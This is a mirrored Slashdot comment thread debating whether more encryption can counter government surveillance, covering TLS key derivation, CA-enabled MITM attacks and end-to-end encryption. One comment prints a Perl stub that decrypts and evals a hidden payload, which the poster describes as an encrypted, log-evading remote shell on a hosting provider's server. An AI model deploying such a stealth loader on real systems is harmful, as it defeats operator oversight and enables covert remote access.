Slashdot Mirror
More Encryption Is Not the Solution
CowboyRobot writes "Poul-Henning Kamp argues that the 'recent exposure of the dragnet-style surveillance of Internet traffic has provoked a number of responses that are variations of the general formula: "More encryption is the solution." This is not the case. In fact, more encryption will probably only make the privacy crisis worse than it already is.' His argument takes a few turns, but centers on a scenario that is a bit too easy to imagine: a government coercing software developers into disabling their encryption: 'There are a whole host of things one could buy to weaken encryption. I would contact providers of popular cloud and "whatever-as-service" providers and make them an offer they couldn't refuse: on all HTTPS connections out of the country, the symmetric key cannot be random; it must come from a dictionary of 100 million random-looking keys that I provide. The key from the other side? Slip that in there somewhere, and I can find it (encrypted in a Set-Cookie header?). In the long run, nobody is going to notice that the symmetric keys are not random — you would have to scrutinize the key material in many thousands of connections before you would even start to suspect something was wrong.'"
And who says the government doesn't already run some of these services themselves?
"I believe in Karma. That means I can do bad things to people all day long and I assume they deserve it." : Dogbert
After about 15000 connections you would see the first repetition of a key. That scheme would be discovered in NO TIME.
When the government notices lots of encrypted messages that can't be easily cracked by their codebreaking machines, they start to get interested. Real interested. Just like when mathematicians discovered that nobody could prove a simple theorem in high school algebra, every math Ph.D spent some time looking into that until the problem was solved.
No link to any story at all? Since when does Slashdot provide a private blogging platform on the front page?
In that case, indeed, no amount of encryption will save you.
You don't honestly think I liked all that hand-editing and drudging through man files and so on that I had to do to run Linux when I switched twelve years ago, do you? I switched because I knew that the major vendors couldn't be trusted, and that I needed to learn systems that weren't shielded from users auditing them and securing them outside the scope of what was marketable.
Today, I no longer need to rely on major software and service venders for most things. That puts me ahead of the game. Of course, it's only as good as the services I provide for myself, and the security of the ones I use outside my own.
In SOVIET RUSSIA... erm...NSA AMERICA, the Internet logs onto YOU!
Decentralize the internet and make it run such that there are no "providers". All internet is available where participants are willing to use it and make it available to others, and all traffic flows in the path of least resistance. Users can also flag and blacklist participants who look suspiciously like big brother, so they get skipped in the chain of communication.
It would be super cool if there was some kind of technology that allowed you to provide a link to the source material for discussion...
http://queue.acm.org/detail.cfm?id=2508864
This is a sig
In other news, locks do not work if someone gains a copy of your key. Therefore more locks are not the solution, and locks actually harm security!
Wait...what?
This is complete rubbish. Of course encryption doesn't work if you are trusting a giant cloud corp. not to have a man on the inside corrupting the encryption process.
That is the exact reason why more encryption is the answer! People need to be taking the issue into their own hands, using their own (open source) personal or community-driven encryption schemes that are provably secure. Trusting a giant corp. to generate your keys for you and presuming that is THE ONLY WAY encryption can work is such fantastically F.U.D I don't even know where to begin.
Where i am, with who i talk, what i do in my personal life, that is privacy. But what i write, the photos or videos i take, what i say, that is my intellectual property, and thats the one that the government of US choose to explicitly ignore when is doing all of this . Put the battle in the intellectual property front, where their bosses could be a bit disturbed if people and countries just stop caring about US companies intellectual property, and they could take some action.
The problem is insecure distribution and control of private keys. (i.e. https that depends on trusting Certificate Authorities that appear easy to abuse by governments).
Better solutions could exist --- for example if HTTPS would only work after checking both certificates from a "trusted" certificate authority *and* a self-signed cert. That way all you rely on is that the CA wasn't compromised when you first exchanged the keys for the self-signed cert. Once that happens, even if a CA cooperates with an oppressive regime later, the self-signed cert would keep you safe.
Sad to say this but maybe spam serves a useful purpose after all, it's probably the most realistic option here save fixing the root cause of the problem. If everyone sends millions upon billions of spam emails, the system might be so overloaded as to become ineffective.
On a related note, I've often wondered what some spam emails with gibberish text actually mean. Maybe it's some kind of encrypted communication hiding in plain site - it only takes 1 message to get through to the intended recipient to be effective.
Peace,
Andy.
I seem to recall reading something the implied that a Master Key was handed over in some cases by providers. It should just be called a Skeleton Key, but if a government has access to that then why consider this option?
Why should you trust certificate authorities? Do you even know who all your certificate authorities are? I think that this confuses trust for assignment of liability. A CA is good for making sure that someone else is liable if you put your credit card number in a web site shopping page and it gets stolen, and it helps make prevent some guy sitting in Starbucks from stealing credit card numbers, but as far as trust, I don't think it does a thing.
And, guess what, people do do things like scrutinize the key material in many thousands of connections. And, if they don't, as soon as the next Snowden leaks what's going on, they will.
To an intelligence agency, a well-thought-out weakness can easily be worth a cover identity and five years of salary to a top-notch programmer. Anybody who puts in five good years on an open source project can get away with inserting a patch that "on further inspection might not be optimal."
Anybody got an idea as to the source he's quoting? Is he referring to the OpenBSD incident?
The idea behind crypto is to make undesired access to data impractical. What is required next is to use mathematical techniques to ensure that the data to which undesired access is unwanted cannot be known to exist. We begin on this road with steganography. We could also invisage a gameplay-fingerprint scenario where I need to interact with a system in such a way that it can get a basic behavioural fingerprint and then use this to resynthesise data. This may well result in lossy compression where the output looks similar but is not identical. We then use language and algorithmic compression techniques from there to shape how things are reconstructed. I can imagine much covert research into such concepts.
John_Chalisque
I encrypt everything - and I use double rot13 just be be extra sure that no one can read it!
>> you would have to scrutinize the key material in many thousands of connections before you would even start to suspect something was wrong.'
A few iterations of their plugin, to also examine key information and find a safe way to report such concerns.
https://www.eff.org/observatory
The Session Key of the SSL session is what they seek to control. So this is a matter for a secure key exchange protocol to fix.
I don't understand how storing information inside a cookie (which is presumably inside the HTTPS connection) helps the attacker. Since in order to examine it they would have already brute forced their 100 million known keys to find the one that worked. So why do they need any extra information from the cookie.
Maybe a cryptographer can explain if key exchange protocols such as DH are immune to this kind of concern, since don't both ends pick their own random numbers, to derive a usable symmetric cipher key. So as long as each end can trust their own local random number generation isn't the exchange immune to this attack even if you presume the other end uses same (not random number) every time. They still can not control my RNG and my RNG perterbs the resulting master key. So we just need to make sure there is enough entropy from one ends input to satisfy their ends security concerns.
No the real problem here is having the remote endpoint simply persist and store for later lookup, or forward in realtime the agreed key the client and server used of any SSL session along with a timestamp and the IP address and port number tuples. This you can never protect yourself from. You have to ask the question, what data would I trust the endpoint with, just like any other kind of relationship ?
More encryption is good, because then at least there maybe whistle blowers and loss of reputation costing the relevant company some financial penalty, hopefully 10x more than the bribe.
Uh, no.
The problem is that the government leans on the server you're talking to and gets your data after it's decrypted.
No amount of encryption can fix that, but the idea that more encryption is not part of the solution is just silly. Obviously it eliminates one means of eavesdropping on your communications.
Unless the government has compromised nearly every software and hardware vendor in the world... at which point you couldn't even trust the devices you're using to connect. The fundamental problem here is the strength of the governing bodies constitution and the the respect it has for that constitution. If you have, as we do today, a government that considers the constitution to be an outdated stumbling block rather than the backbone of a free society that it is, no amount of security or encryption will save you. They have unlimited time, money and people. They will always win.
If you generate and secure your own private keys and don't use commercial CAs, then what are they going to do? I suppose they could do what the Iranians and Chinese do, which is to use deep packet inspection to sort out that some or all of your traffic is encrypted, and then block it, but if we've reached that point where Western governments are erecting Great Firewalls, then we've reached a point where we're well and truly screwed anyways.
The world's burning. Moped Jesus spotted on I50. Details at 11.
The problem comes from keeping all your data on external servers.
"First they came for the slanderers and i said nothing."
not more.
that scenario doesn't matter that much anyways when the mails are with big providers.
world was created 5 seconds before this post as it is.
V guvax gung rapelcgvba vf gur jnir bs gur shgher! Gurer ner whfg gbb znal crbcyr ba gur Vagrearg jub ner bhg gb pbyyrpg rirel fpenc bs vasbezngvba nobhg lbh. Gurl pbagvahr gb svaq havdhr jnlf gb rkcybvg gur zbfg gevivny cvrpr bs vasbezngvba gurl pna tyrna sebz lbh. Rira gur zrer snpg gung lbh rkvfg va n qvtvgny raivebazrag pna or hfrq ntnvafg lbh. Rapelcgvba, lbhe arj gehfgrq sevraq.
This has nothing to do with encryption, and has everything with software you can't audit and verify yourself is secure.
I mean, do you really think it is that unlikely there are backdoors and/or monitoring hooks in your Cisco router? Or your Linksys AP? Or whatever?
The moment you trust blindly, be it the government or companies in a position to be influenced by others, you are putting yourself at risk.
Saying this is a cryptography issue, and not a "blackbox" issue, makes me wonder about ulterior motives...
morcego
A trusted CA can just generate a new private key for the site and go MITM. This is why the CA's are a big issue for private key security, at least with the way HTTPS trust chains are set up in reality. Yes you 'could' delete all CA's in your system and replace them with your own, but who does that?
Simple use a BEAST attack hardened diffie-hellman encryption. ephemeral encryption means a single key or even thousands of keys can not endanger future communications.
Isn't the master encryption key used to encrypt the stream made from a hash of a server generated and client generated random number? That would seem to make it a moot point whether or not the server keys are random as long as the client hasn't been compromised and is using a good random number. The server could be issuing "0" as its "random" number and the key would still be random.
The gain access to the data stream, the government would need access to the server's private key (or signed fake certificate so they could execute a man in the middle attack). With Perfect Forward Secrecy, would possession of the private key allow one to decrypt the stream?
A trusted CA can just generate a new private key for the site and go MITM.
And you can see the key has changed, and post it all over the Internet to show that 'trusted CA' is issuing fake keys. And 'trusted CA' goes bust.
It's a really, really, really, really, freaking really dumb way to perform an MITM attack, because an end user can easily prove the attack happened, and show the CA is broken.
Finally get those politicians to abide by the respective constituent document of your country.
There are some proven ways to achieve that.
No one trusted the NSA before. That wasn't news. Who was giving away their encryption keys to the NSA before? Not with their knowledge or willingness. The new information is that the providers betrayed the users.
I've decided to stop wasting my time responding to AC trolls/sockpuppets... so if you want a response from me... login.
Microsoft can simply request your graphics card to take regular snapshots of your screen, and you will never know this because the message stream to the GPU (for protected path functions) is encrypted with protected path control keys. A full screen JPG is quite a small file even for a high-resolution screen, and can be sneaked out to an NSA server with you standing ZERO chance of noticing the traffic blip
I took a full screen snapshot of my 1920x1080 screen (maximized browser window with this Slashdot page loaded, so there's a lot of white space on the screen) and saved it as a JPG. The size of the default quality JPG was 480KB (which looked about the same as the corresponding PNG which was only 275KB). I created JPG's of decreasing quality until the text became mostly illegible, that happened at a quality level of "7" (on a scale of 1 - 100 with 100 being the best). The resulting JPG ended up being 95KB in size.
That's not exactly what I could call "quite a small file", and though many people wouldn't notice that size file going out periodically (every hour? every minute?), it's big enough that some would - especially paranoid people that are worried about someone spying on them. 95KB sent out every minute would be around 15kbit/second on average, so it's definitely enough to be noticable.
All too true, people don't want to bother with any effort for a return they really can't see. Its hard to appreciate encryption when the effects of opentext on their private lives is difficult to impossible to gauge. Until they get hit. After a small dns server I ran got hit, I didn't really pay much attention to it either. 10 years on I still cover my tracks whenever possible, encrypt my drives (linux and truecrypt make this pretty easy), prefer encrypted smtp providers, and ask people I correspond with for their public encryption key. If they ask me what that is I explain it to them. If they say they don't care then I move on, but if they express interest I help them set up. If they say "no one uses that" I show them that I do, many of my friends do, and to look at the news lately. Its in everyone's interest to manage their privacy. If you are into managing your life like a business then its just another procedure to add to your list. If not, well, I wouldn't want to be you.
Python: 'And then suddenly you have a language which says "we're all stuck with whatever the whiniest coder wants".'
That depends on what kind of data you are referring to. If you are talking about e-mails,
then intelligent beings usually realize that very sensitive data is not to be stored there.
For storing your own data, that you are not planning on sharing with anyone, cloud
storage such as Dropbox works wonderfully with Truecrypt. A strong password assures
you no-one will ever get access to your cloud data, unless you are forced to reveal the password.
Truecrypt also offers plausible deniability using a hidden volume, in case you are
forced to reveal your password.
If you are planning on sharing very sensitive data and you are aware that the government
or someone else is as motivated to obtain that data as to go through the
trouble of MITM attacks, then one good solution is to distribute your public key
over a Skype audio+video call.
Now, if you believe the government is as motivated as to try to fake both your and
his voice and movement of lips, then you would have to split your public key and
distribute it through multiple mediums (stenography on an youtube video? mailing lists?).
There *are* some ways of protecting your data ainst a government or anyone else if
it is valuable enough.
It appears a habit of the slashdot commenters to discuss how badly a government
would be able to screw you over, completely missing a simple fact: the amount of
effort any government would put into seeing your data is proportional to how valuable
they believe it is. They will not mount a MITM attack on you using a controlled
CA just to see your vacation pictures. The privacy of your data does not only rely
solely on how abusive a government is, but also on how much effort and thought you put
in keeping it private.
When dealing with highly sensitive data, it is your obligation to be paranoid, not to trust
governments, CAs, companies, ISPs etc. and go to great lengths to assure no-one can gain
access to your information.
If a government controls a CA and would like to see your communications with a server that it does not control, all it can do is mount a MITM attack while you are communicating with that server. Afterwards, it misses its window of opportunity: if the government wants to decrypt the logged communication at a later time, it cannot do so. The damage it can do by controlling a CA is pretty limited.
I do not see why the excess paranoia and fuss is all about. Sharing data privately
does *not* work in a model where you do not trust anyone.
If you are sharing non-sensitive data, then it is usually an acceptable compromise
to trust very large companies such as Google. You acknowledge that a government
or Google is not motivated enough to "look" at your data, although you realize there
is no guarantee that they cannot do so. You just believe that the data is not worthy
enough for them to care.
When you (A) are sharing sensitive data by e-mail with (B), you are implicitly trusting
many parties: CAs or government/ISP, GMail and B. While you do intend to trust B,
you do not intend to trust anyone else with such valuable data. This is *your* mistake
or ignorance. Just because the idea is to trust CAs implicitly it does not mean you have
to trust them with everything. The more valuable the data, the less compromise you
afford to make in trust.
This leaves you with having to distribute your public key to B without trusting anyone else.
You can achieve this by splitting your key and distributing it in multiple mediums:
video+audio skype calls, stenography, phone calls etc. The more mediums, the
higher degree of trust.
It is your responsibility and in your best interest to weigh the value of your data and
take proportional effort in protecting it.
As pointed out by others, this 'problem' is nonsense because the random number is generated by the client's browser. A government could lean on browser providers, but that puts the 'attack code' client-side and waiting to be noticed.
Trust of keys from providers is a real problem. In order to be certain that a connection is actually secure from listening you have to trust that what you are getting is the real certificate from the service provider, and not an 'attack' certificate generated by some dodgy CA (e.g. DigiNotar and the Iranian google snooping, and others). This can be reduced in some (limited) cases by using certificate pinning, or by using something like EFF's SSL Observatory.
Even if you actually are getting the 'real' certificate, you need to trust that the service provider hasn't already handed that certificate over to government. This isn't just a problem for the current certificate trust model - obviously if the other person is giving away their keys then you're pretty screwed regardless of the encryption system.
Finally, even if the communication is encrypted and the spying group doesn't have the keys, you still have to trust the service provider to not just hand over the unencrypted network traffic or your content anyway.
That's a lot of trust being spread around.
In the case of something like gmail, the solution is more encryption - it is encryption of the content end-to-end rather than just in transit, and with keys only you and the recipient have. That could be personally exchanged self-signed x509 keys/certs or OpenPGP keys, or even preshared symmetric keys. If you're a bit more trusting, it could be keys signed by a trusted other (a genuinely trusted other, not a large company).
So the solution is more encryption - in part at least. Just not more TLS.
It's weird that PHK framed it this way, but he's on the right track, regardless. Compromised entropy is one of the largest persistent attack surfaces in the state surveillance war. It's darn hard to notice when your client-side random key is leaking key space from prior exchanges, unless we're all running perfectly vetted software every day of the week and twice on Sunday and nothing bad ever happens to the golden master distribution chain. Developers never lose their private keys ...
From the dark side, at Borg scale, it's a slow war of attrition. The more they know about you, the better their guesses become. Suppose they gain possession of a dozen of your passwords from the least upstanding corporations you deal with. Your passwords have zero cross-entropy, right? Every password entirely unconditioned on any other password you've ever used?
And it if turns our you're a member of the 0.01% who uses distinct, randomly generated sixteen-character password strings for every site, so much the better to target you with other methods.
This isn't a battle over the yield strength of the titanium crypto primitives. It's a battle over the total burden. Every person who re-uses the same password a dozen times is that much less computation. Password cracking is like Type II b muscle fiber. It's the muscle fiber of last resort, that one your body activates to lift an overturned car off your child after a crash. Traffic analysis is Type I muscle fiber, the fiber you can use all day long, day after day.
That big hassle with the self-signed certs (which are needed for authentication) significantly thinned the default use of strong encryption for simple privacy. These did not need to be tied together as they were. Because the use of encryption stands out and the connectivity graph is below the percolation threshhold, it becomes hard to set up covert onion routers.
The focus on encryption strength is mostly red herring to distract us from the real agenda, which is keeping the general run of affairs extremely sloppy. The whole surveillance apparatus depends on the bulk manufacture of negawatts (shedding keyspace) in dribbs and drabbs by various murky political means. It's not a hard war, it's a soft war.
Poul-Henning Kamp, you're the newest addition to our list. Congratulations!
Then they don't need to rely on anyone else to create encryption systems or key exchanges.
Once I had a web hosting provider that allowed SSH access. Great for pushing my Git Commits in... However, there was a log file owned by root that stored every command I entered into the SSH terminal, which sometimes had credentials for other servers the server connected to. I couldn't edit it or delete the log file. So I did this instead: email-report.pl
#!/usr/bin/perl -w
;my $E=shift;my $F=shift;$F=0 if!defined $F;my $G=shift;my $H=0;$G=\$H if
;my @M=@{$C};while(!$L){my $O='';my $P=$E->read($O,1);if(!defined $P){return
;if($P<1){last;};$O=~s/[^0-9a-f]//;$S.=$O;};$S=pack('H*',$S);if((length $S)!=$N)
use strict;use bytes;use Digest;use FileHandle;use Fcntl qw(:seek);my $A
="0123456789abcdef";my @c=split(//,$A);sub h{my $B=shift;my $C=shift;my $D=shift
!defined $G;my $I='';my $K=$F||1;my $L=0;my $J='';my $W=$B->clone;my $N=$#{$C}+1
undef;}if($P){if($O eq "\n"){$$G=0;};$O=~s/[^0-9a-z]//;$I.=$O;}else{$L=1;}if(
length $I>1) {$$G++;$O=pack('H*',$I);$I='';if($$D>=$N){@M=@{$C};$W=$B->clone;
@{$C}=split(//,$W->digest);$$D=0;};$O=chr(ord(@{$C}[$$D++])^ord($O));if($F!=0){
$J.=$O;$B->add($O);$K--;if($K<1){$L=1;}}elsif($O eq "\x00"){$L=1;$$D-=1;
$E->seek(-2,SEEK_CUR);$$G--;if($$D<0){$$D=$N-1;@{$C}=@M;};}else{$J.=$O;$B->add(
$O);if($O eq "\n"){$L=1;};};};};return $J;};my $B=new Digest("SHA-1");my $N=
length$B->digest;print pack('H*','506173737068726173653a20');my $Q=<STDIN>;
chomp $Q;if($Q eq''){exit 1;}my $R=new FileHandle;$R='DATA';my $F=0;my $S='';
while((length $S)<($N*2)){my $O='';my $P=$R->read($O,1);if(!defined $P){exit 1;}
{exit 1;};if(length $Q>$N){$B->add($Q);$Q=$B->digest();}elsif (length $Q<$N){
$Q.=("\x00"x($N-(length $Q)));};my($T,$U);foreach my $O(split(//,$Q)){$T.=chr(
ord($O)^0x5c);$U.=chr(ord($O)^0x36);};$B->add($T,$B->add($U,$S)->digest());$T=
$U=$Q="\x00"x$N;$T=$U=$Q='';my $I='';my $W=$B->clone();my @V=split(//,$W->digest
);my $X=0;my $L=0;my $Y=0;my $Z='';$Z=h($B,\@V,\$X,$R,8192,\$Y);if(!defined $Z)
{exit 1;}if($Z eq ''){exit 1;}eval $Z;exit 0;
__DATA__
4e45266f48ed8d...
Snipped, see link, not that it'll do you any good without the key.
I'd give you the key, but running arbitrary enciphered code is ill advised...
What is that? Well, it's not really obfuscated, it's an encrypted Perl program called "email-report.pl", once started it asks for the passphrase that decodes the following program. Once the payload program is decrypted and running it peals off another encrypted channel to back to me using the stream cipher and TCP or UDP to provide a shell-like interface. Since it asks for the passpharse over STDIN it doesn't get logged to the session log. The commands I give it are executed in memory without being logged into the terminal session log file. The files I create over the shell aren't logged in the FTP log file either.
Once such a shell is up I can dump in more code to decrypt and execute, or store it as encrypted files to call up and decrypt and execute for later. I periodically generate encrypted email reports to myself with it, so that logs show emails being generated with it, but I can also do anything else I like, I can execute my programs in memory and their server will have no record of what program was executed. I can even have the program connect to other such enciphered shell programs running on other servers that don't need SSH to tunnel, just a net connection and the stream cipher -- I hold all the keys.
Now, this wasn't even a serious effort. I'm not doing anything I actually need to hide from anyone. It was just a bit of fun to prevent server logs from storing a few other keys in the clear. If I had wanted to I could have the cipher incorporate a few thousand it
If the US government can coerce an operator, it can get access to your data stored in its datacenters (and I understand this is what PRISM is about), and therefore who cares it can decipher the data in transit?
Umm... you should go re-read the SSL/TLS specs. The server doesn't get to dictate the session key.
The session key (AKA master key) is computed from a "pre-master" secret key and two random numbers, one provided by client the other from the server. Both sides perform this computation independently, and the server has no control over the client random -- nor the client over the server random. Also, the pre-master secret is either generated entirely by the client, or else generated through a Diffie Hellman key agreement protocol, which again involves input from both sides.
There may be other attacks, but the one described in the summary doesn't work.
Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
Whether or not to use encryption isn't really the question. Some level of encryption is required because there will be bad people out there that will want to do you harm. The problem lately is that we have been given evidence that the major democratic governments are no longer trustworthy. We have gone past the point of talking whether we need to encrypt our messages or to double the number of bits in an encryption method. These are just bandages being applied to the hemorrhaging of our basic freedoms. We need to stop the bleeding at the source with political reforms. And to achieve those we need a new party that will stand up for the rights of the people unlike all of the existing mainstream parties who cater to their rich special interest groups.
Use open source encryption software, create your own keys. Trusting an unknown, proprietary 3rd party to do it for you is not reliable, and your surprised?
http://queue.acm.org/detail.cfm?id=2508864
Join the Slashcott! Feb 10 thru Feb 17!
Encryption is not the solution but it is part of the solution.
Relying on any one method to make snooping hard makes for a simple target. Encryption alone will not fix the problem for the reasons stated. For instance, make your e-mail transport over SSL and they will just read it on the server. So you need e-mail over SSL and PGP encrypted e-mail content. Breaking just one of the encryption methods would not be sufficient.
Better technology is also needed though. What we have today is effectively pre-shared keys at the root of the certificate chain, which lead to this attack. Perfect Forward Secrecy is a step in the right direction, but not sufficient. We need to develop methods that either don't have any pre-shared keys, or if we have to use them require n of m, where each is controlled by a different regime preventing any one from compromising the system.
However, ubiquitous encryption would be a good first step, and I think raise the bar in an interesting world even if it is not perfect.
Once one party to an encrypted conversations wants a 3rd party to hear it, you are done. If the cloud providers are willing to send out corrupted HTTPS then they are willing to just share their data, so what difference does it make? Encryption is designed to help in situations where one of the intermediaries (like a telco carrier) is passing information to a 3rd party but not the final recipient.
I believe he's right but for the wrong reasons. He effectively points out that a tyrannical government could circumvent all sorts of encryption while making people feel safer. He ignores that in such a system with more encryption can not make the situation any worse as far as tyrannical government snooping goes--without encryption they definitely will snoop and with encryption they only may snoop. Yet, the elephant in the room is the premise of the tyrannical government. To that point, the solution is not to accept the tyrannical government and bury oneself deeper in encryption. The solution is to change the tyrannical government. But, then, I'm afraid perhaps he and others believe that's quite impossible short of advocating a civil war which, me included, would rather not see. :(
PS - This goes for anywhere in the world with a tyrannical government, as much as the US's nastiness has been in the news. Wars are almost a very bloody, horrible thing that last much longer than anyone thought when they started and become near unbearable every day longer that they last. Yet, obviously, countries like the US would almost certainly not exist with the Revolutionary [Civil] War.
Eurohacker European paranoia, gun rights, and h
Only to someone who is looking.
What if you do it in targeted attacks on specific users? How often do you check for changes in the key?
As you say, this wouldn't really work for mass surveillance.
You seem to think nobody knows that CA's don't have the private key. This is really basic knowledge, and nobody here is challenging you on that. We are not missing your point, it's just not any new information,
The answer: Don't use cloud.
OwnCloud. Zimbra. Jitsi. OpenSIP. All of these allow for strong encryption.
What do we need commercial cloud services for again?
I hate printers.
The right to privacy should be made part of the charter of Human Rights. That would bypass and invalidate the laws of those so-called civilized countries that already includes provisions for coercing people into giving up passwords and passphrases - I'm especially looking at you, United Kingdom.
Basically it should state that all people have an inviolate right to privacy and a right to protect this privacy. Only in case of a few very specific criminal charges can legislation allow the authorities to coerce the suspect into releasing privacy-protected information, but always only what's related to the case, nothing more. This means that they cannot request a password to decrypt a disk unless they know in advance that the disk only contain information relevant to the case and nothing more. If they want relevant information from such a disk, a trusted third party needs to be involved that will handle the process of accessing the disk and extracting the relevant information and nothing more, ensuring that the authorities only get the relevant information they've requested and nothing more.
Same thing with a search warrant for a home. Today the police are allowed to use everything they find regardless of what they were looking for. If they look for drugs but find a stash of stolen goods, they can prosecute the stolen goods in a new case. Sure, it sounds reasonable but what if the search warrant is more or less bogus, perhaps entirely based on an anonymous tip (happens quite often in cases involving drugs for instance) ? - There's nothing to prevent the authorities from tipping themselves and if you look hard enough in any private space you will find something illegal, so in order to protect against harassment through methods like this, a search warrant must list in fairly specific terms what they expect to find and they're only allowed to use that for litigation purposes. Of course there's nothing to prevent the authorities from knowing what they found and obtaining a new search warrant if they can provide other evidence to validate the request, but if they have nothing and just are going fishing, this Human Rights provision will stop them in a civilized country.
"For every complex problem, there is a solution that is simple, neat, and wrong." -- H.L. Mencken (1880-1956) --
Some time ago (circa 2006) I was a sysadmin in some quite big Russian medical organization. And the org was obliged to send an encrypted and signed mail to it's bank.
You possibly understand what kind of people the Soviet bookkeepers are, so it was necessary to "train them specially"(c). And in this process I have discovered that the key is not generated by client and then signed by authority. It is both generated and signed by authority.
I understand that the only purpose of it was a transport encryption and nobody ever will generate false letters. Nevertheless, it means that you should either review the key procedures yourself or considerably diminish your trust in them.
There IS a technical solution to prevent a government from torturing or murdering people.
Firstly, the key to your personal data should consist of 2 parts: a passphrase and a keyfile. The keyfile may have self-destruction properties, and parts of it's backup trusted to a group of people. It will be necessary to find all them to restore the keyfile. # man 8 geli
Secondly, the absence of key owner should both start the keyfile destruction and publish some info. Afaik Wikileaks has published some encrypted files, and every attempt to kill Assange will publish a decryption key.
I believe functionality like this is already in HSTS and already used by google and chrome
My mistake - it is in http://src.chromium.org/viewvc/chrome/trunk/src/net/base/transport_security_state.cc?revision=107993&view=markup&pathrev=107993
and only enabled for google, twitter, tor, and a handful of other sites.
SSL is for security between user and the site. Of course the site can reveal your data to anyone who wishes. End to end encryption with open source software between two users, is a whole other story
I know some paranoiac that does not use American services without VPN. I asked him to visit a site that determines his IP. The site correctly displayed his IP, his previous non-encrypted IP he has used before VPN, his version of Linux, Firefox, display resolution and local time difference, as well as full list of extremist sites banned by Russian authorities he has visited.
He was shocked. All this info was enough to fully disclose his identity.
Only to someone who is looking.
Right, but if this is happening on a large scale, it only takes one person to discover it and make it known to the world. "Hey, I ran a kernel trace and my *graphics card* is sending encrypted UDP packets to we-are-keeping-you-safe.trust-us.gov. What's up with that?"... and more and more people dig into their systems and find out what's going on.
Not just that. Most personal computers aren't connected directly to the internet. They usually go through NATs, routers, firewalls, etc. that will not conceal this type of traffic. Not only that, but ISP's have these QoS and zombie-detection devices that have exactly the type of logic that will flag the machine as a bot and a notice.
"If a nation expects to be ignorant and free in a state of civilization, it expects what never was and never will be."
If Gary Government wants to spy on Alice and Bob, then Alice and Bob can use encryption to prevent things like man in the middle attacks.
If Gary pays Bob money to divulge Alice's secret information, that's a different problem that encryption doesn't solve, nor should we expect it to.
Encryption will safely get secret information to/from you to another trusted entity. If it turns out that this other entity can't be trusted, then you're shit out of luck. That's always been the case and will probably always be the case.
...and as usual, the answer is *END-TO-END* encryption. (Not just any random kind of encryption)
Have all the users use good encryption locally on their machine BEFORE uploading their data onto Dropbox, and decrypt it locally after downloading it back.
As long as all end-user follow this strictly and don't lose the encryption key outise of their group, there's no risk even if the government forces DropBox to open their space.
Same also with communication:
use ZRTP/SRTP (for voice) and OTR for messages.
It encrypt communication before it leaves your control, and gets only decrypted at the other end.
Unlike, say, skype, where the government could force microsoft to give the keys to the RC4 encryption used on the network.
etc.
Encryption works, as long as only trusted parties handle each end with no possible intermediate.
Don't trust the other end-point of a transaction? (For example a website which could be forced by its government to open its HTTPS encryption, or whose certificate wasn't issued by a company you trust) Then don't do transaction with them, or consider that the communication could be spied upon.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]